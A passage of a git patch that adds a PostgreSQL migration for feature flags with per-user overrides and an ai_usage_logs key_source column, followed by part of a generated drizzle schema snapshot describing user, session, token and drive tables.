From 1cb813c424605b58dc81c3f6435c576c8358592a Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 19:20:47 -0600 Subject: [PATCH 01/35] feat(db): feature flags with per-user overrides, and ai_usage_logs.key_source (BYOK-2, BYOK-7) Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- .../db/drizzle/0394_byok_feature_flags.sql | 19 + packages/db/drizzle/meta/0394_snapshot.json | 30548 ++++++++++++++++ packages/db/drizzle/meta/_journal.json | 7 + packages/db/package.json | 4 + packages/db/src/schema.ts | 3 + packages/db/src/schema/feature-flags.ts | 39 + packages/db/src/schema/monitoring.ts | 7 + 7 files changed, 30627 insertions(+) create mode 100644 packages/db/drizzle/0394_byok_feature_flags.sql create mode 100644 packages/db/drizzle/meta/0394_snapshot.json create mode 100644 packages/db/src/schema/feature-flags.ts diff --git a/packages/db/drizzle/0394_byok_feature_flags.sql b/packages/db/drizzle/0394_byok_feature_flags.sql new file mode 100644 index 0000000000..ee84e8a32f --- /dev/null +++ b/packages/db/drizzle/0394_byok_feature_flags.sql @@ -0,0 +1,19 @@ +CREATE TABLE "feature_flag_user_overrides" ( + "flag_key" text NOT NULL, + "user_id" text NOT NULL, + "enabled" boolean NOT NULL, + "updated_at" timestamp with time zone DEFAULT now() NOT NULL, + "updated_by" text, + CONSTRAINT "feature_flag_user_overrides_flag_key_user_id_pk" PRIMARY KEY("flag_key","user_id") +); +--> statement-breakpoint +CREATE TABLE "feature_flags" ( + "key" text PRIMARY KEY NOT NULL, + "enabled_by_default" boolean DEFAULT false NOT NULL, + "updated_at" timestamp with time zone DEFAULT now() NOT NULL, + "updated_by" text +); +--> statement-breakpoint +ALTER TABLE "ai_usage_logs" ADD COLUMN "key_source" text DEFAULT 'managed' NOT NULL;--> statement-breakpoint +ALTER TABLE "feature_flag_user_overrides" ADD CONSTRAINT "feature_flag_user_overrides_user_id_users_id_fk" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint +CREATE INDEX "feature_flag_user_overrides_user_idx" ON "feature_flag_user_overrides" USING btree ("user_id"); \ No newline at end of file diff --git a/packages/db/drizzle/meta/0394_snapshot.json b/packages/db/drizzle/meta/0394_snapshot.json new file mode 100644 index 0000000000..8b94616ad5 --- /dev/null +++ b/packages/db/drizzle/meta/0394_snapshot.json @@ -0,0 +1,30548 @@ +{ + "id": "4c48b56c-4e18-4de4-9b06-8e60fe7c952e", + "prevId": "348433db-3749-4b5c-9cff-0fc147004f01", + "version": "7", + "dialect": "postgresql", + "tables": { + "public.apple_sign_in_tokens": { + "name": "apple_sign_in_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "client_id": { + "name": "client_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "refresh_token": { + "name": "refresh_token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "apple_sign_in_tokens_user_client_idx": { + "name": "apple_sign_in_tokens_user_client_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "client_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "apple_sign_in_tokens_user_id_users_id_fk": { + "name": "apple_sign_in_tokens_user_id_users_id_fk", + "tableFrom": "apple_sign_in_tokens", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.device_tokens": { + "name": "device_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "lastUsedAt": { + "name": "lastUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deviceId": { + "name": "deviceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "platform": { + "name": "platform", + "type": "PlatformType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "deviceName": { + "name": "deviceName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "userAgent": { + "name": "userAgent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ipAddress": { + "name": "ipAddress", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastIpAddress": { + "name": "lastIpAddress", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "location": { + "name": "location", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trustScore": { + "name": "trustScore", + "type": "real", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "suspiciousActivityCount": { + "name": "suspiciousActivityCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedReason": { + "name": "revokedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "replacedByTokenId": { + "name": "replacedByTokenId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "device_tokens_user_id_idx": { + "name": "device_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_token_hash_idx": { + "name": "device_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_device_id_idx": { + "name": "device_tokens_device_id_idx", + "columns": [ + { + "expression": "deviceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_expires_at_idx": { + "name": "device_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_active_device_idx": { + "name": "device_tokens_active_device_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deviceId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "platform", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"device_tokens\".\"revokedAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "device_tokens_userId_users_id_fk": { + "name": "device_tokens_userId_users_id_fk", + "tableFrom": "device_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "device_tokens_tokenHash_unique": { + "name": "device_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_unsubscribe_tokens": { + "name": "email_unsubscribe_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_prefix": { + "name": "token_prefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "notification_type": { + "name": "notification_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "used_at": { + "name": "used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_unsubscribe_tokens_token_hash_idx": { + "name": "email_unsubscribe_tokens_token_hash_idx", + "columns": [ + { + "expression": "token_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_unsubscribe_tokens_user_id_idx": { + "name": "email_unsubscribe_tokens_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_unsubscribe_tokens_expires_at_idx": { + "name": "email_unsubscribe_tokens_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_unsubscribe_tokens_user_id_users_id_fk": { + "name": "email_unsubscribe_tokens_user_id_users_id_fk", + "tableFrom": "email_unsubscribe_tokens", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "email_unsubscribe_tokens_token_hash_unique": { + "name": "email_unsubscribe_tokens_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mcp_tokens": { + "name": "mcp_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "isScoped": { + "name": "isScoped", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "lastUsed": { + "name": "lastUsed", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "mcp_tokens_user_id_idx": { + "name": "mcp_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_tokens_token_hash_idx": { + "name": "mcp_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mcp_tokens_userId_users_id_fk": { + "name": "mcp_tokens_userId_users_id_fk", + "tableFrom": "mcp_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "mcp_tokens_tokenHash_unique": { + "name": "mcp_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.passkeys": { + "name": "passkeys", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "credential_id": { + "name": "credential_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "public_key": { + "name": "public_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "counter": { + "name": "counter", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "device_type": { + "name": "device_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "transports": { + "name": "transports", + "type": "text[]", + "primaryKey": false, + "notNull": false + }, + "backed_up": { + "name": "backed_up", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "passkeys_user_id_idx": { + "name": "passkeys_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "passkeys_credential_id_idx": { + "name": "passkeys_credential_id_idx", + "columns": [ + { + "expression": "credential_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "passkeys_user_id_users_id_fk": { + "name": "passkeys_user_id_users_id_fk", + "tableFrom": "passkeys", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "passkeys_credential_id_unique": { + "name": "passkeys_credential_id_unique", + "nullsNotDistinct": false, + "columns": [ + "credential_id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.socket_tokens": { + "name": "socket_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "socket_tokens_user_id_idx": { + "name": "socket_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "socket_tokens_token_hash_idx": { + "name": "socket_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "socket_tokens_expires_at_idx": { + "name": "socket_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "socket_tokens_userId_users_id_fk": { + "name": "socket_tokens_userId_users_id_fk", + "tableFrom": "socket_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "socket_tokens_tokenHash_unique": { + "name": "socket_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.users": { + "name": "users", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emailBidx": { + "name": "emailBidx", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "emailVerified": { + "name": "emailVerified", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "image": { + "name": "image", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "googleId": { + "name": "googleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "appleId": { + "name": "appleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "AuthProvider", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'email'" + }, + "accountType": { + "name": "accountType", + "type": "AccountType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'human'" + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "role": { + "name": "role", + "type": "UserRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'user'" + }, + "adminRoleVersion": { + "name": "adminRoleVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "currentAiProvider": { + "name": "currentAiProvider", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'zai'" + }, + "currentAiModel": { + "name": "currentAiModel", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'z-ai/glm-5.3-flash'" + }, + "imageGenerationModel": { + "name": "imageGenerationModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageUsedBytes": { + "name": "storageUsedBytes", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "activeUploads": { + "name": "activeUploads", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastStorageCalculated": { + "name": "lastStorageCalculated", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stripeCustomerId": { + "name": "stripeCustomerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subscriptionTier": { + "name": "subscriptionTier", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'free'" + }, + "tosAcceptedAt": { + "name": "tosAcceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failedLoginAttempts": { + "name": "failedLoginAttempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lockedUntil": { + "name": "lockedUntil", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "suspendedAt": { + "name": "suspendedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "suspendedReason": { + "name": "suspendedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "starterSkillsInstalledAt": { + "name": "starterSkillsInstalledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "onboardingCompletedAt": { + "name": "onboardingCompletedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "users_email_bidx_idx": { + "name": "users_email_bidx_idx", + "columns": [ + { + "expression": "emailBidx", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "users_email_unique": { + "name": "users_email_unique", + "nullsNotDistinct": false, + "columns": [ + "email" + ] + }, + "users_googleId_unique": { + "name": "users_googleId_unique", + "nullsNotDistinct": false, + "columns": [ + "googleId" + ] + }, + "users_appleId_unique": { + "name": "users_appleId_unique", + "nullsNotDistinct": false, + "columns": [ + "appleId" + ] + }, + "users_stripeCustomerId_unique": { + "name": "users_stripeCustomerId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeCustomerId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "users_personal_subscription_tier": { + "name": "users_personal_subscription_tier", + "value": "\"users\".\"subscriptionTier\" IN ('free', 'pro')" + } + }, + "isRLSEnabled": false + }, + "public.verification_tokens": { + "name": "verification_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "usedAt": { + "name": "usedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "verification_tokens_user_id_idx": { + "name": "verification_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "verification_tokens_token_hash_idx": { + "name": "verification_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "verification_tokens_type_idx": { + "name": "verification_tokens_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "verification_tokens_userId_users_id_fk": { + "name": "verification_tokens_userId_users_id_fk", + "tableFrom": "verification_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "verification_tokens_tokenHash_unique": { + "name": "verification_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sessions": { + "name": "sessions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_prefix": { + "name": "token_prefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "device_id": { + "name": "device_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "resource_type": { + "name": "resource_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "authenticated_at": { + "name": "authenticated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authentication_assurance": { + "name": "authentication_assurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "token_version": { + "name": "token_version", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "admin_role_version": { + "name": "admin_role_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_by_service": { + "name": "created_by_service", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_ip": { + "name": "created_by_ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_used_ip": { + "name": "last_used_ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revoked_reason": { + "name": "revoked_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sessions_user_id_idx": { + "name": "sessions_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sessions_expires_at_idx": { + "name": "sessions_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sessions_user_active_idx": { + "name": "sessions_user_active_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "revoked_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sessions_user_device_idx": { + "name": "sessions_user_device_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "device_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sessions_user_id_users_id_fk": { + "name": "sessions_user_id_users_id_fk", + "tableFrom": "sessions", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "sessions_token_hash_unique": { + "name": "sessions_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drives": { + "name": "drives", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "DriveKind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'STANDARD'" + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgVisibility": { + "name": "orgVisibility", + "type": "OrgDriveVisibility", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'OPEN'" + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "drivePrompt": { + "name": "drivePrompt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publishSubdomain": { + "name": "publishSubdomain", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "homePageId": { + "name": "homePageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_default_og_image_url": { + "name": "publish_default_og_image_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "not_found_page_id": { + "name": "not_found_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_favicon_url": { + "name": "publish_favicon_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "avatarUrl": { + "name": "avatarUrl", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drives_owner_id_idx": { + "name": "drives_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drives_owner_id_slug_key": { + "name": "drives_owner_id_slug_key", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": 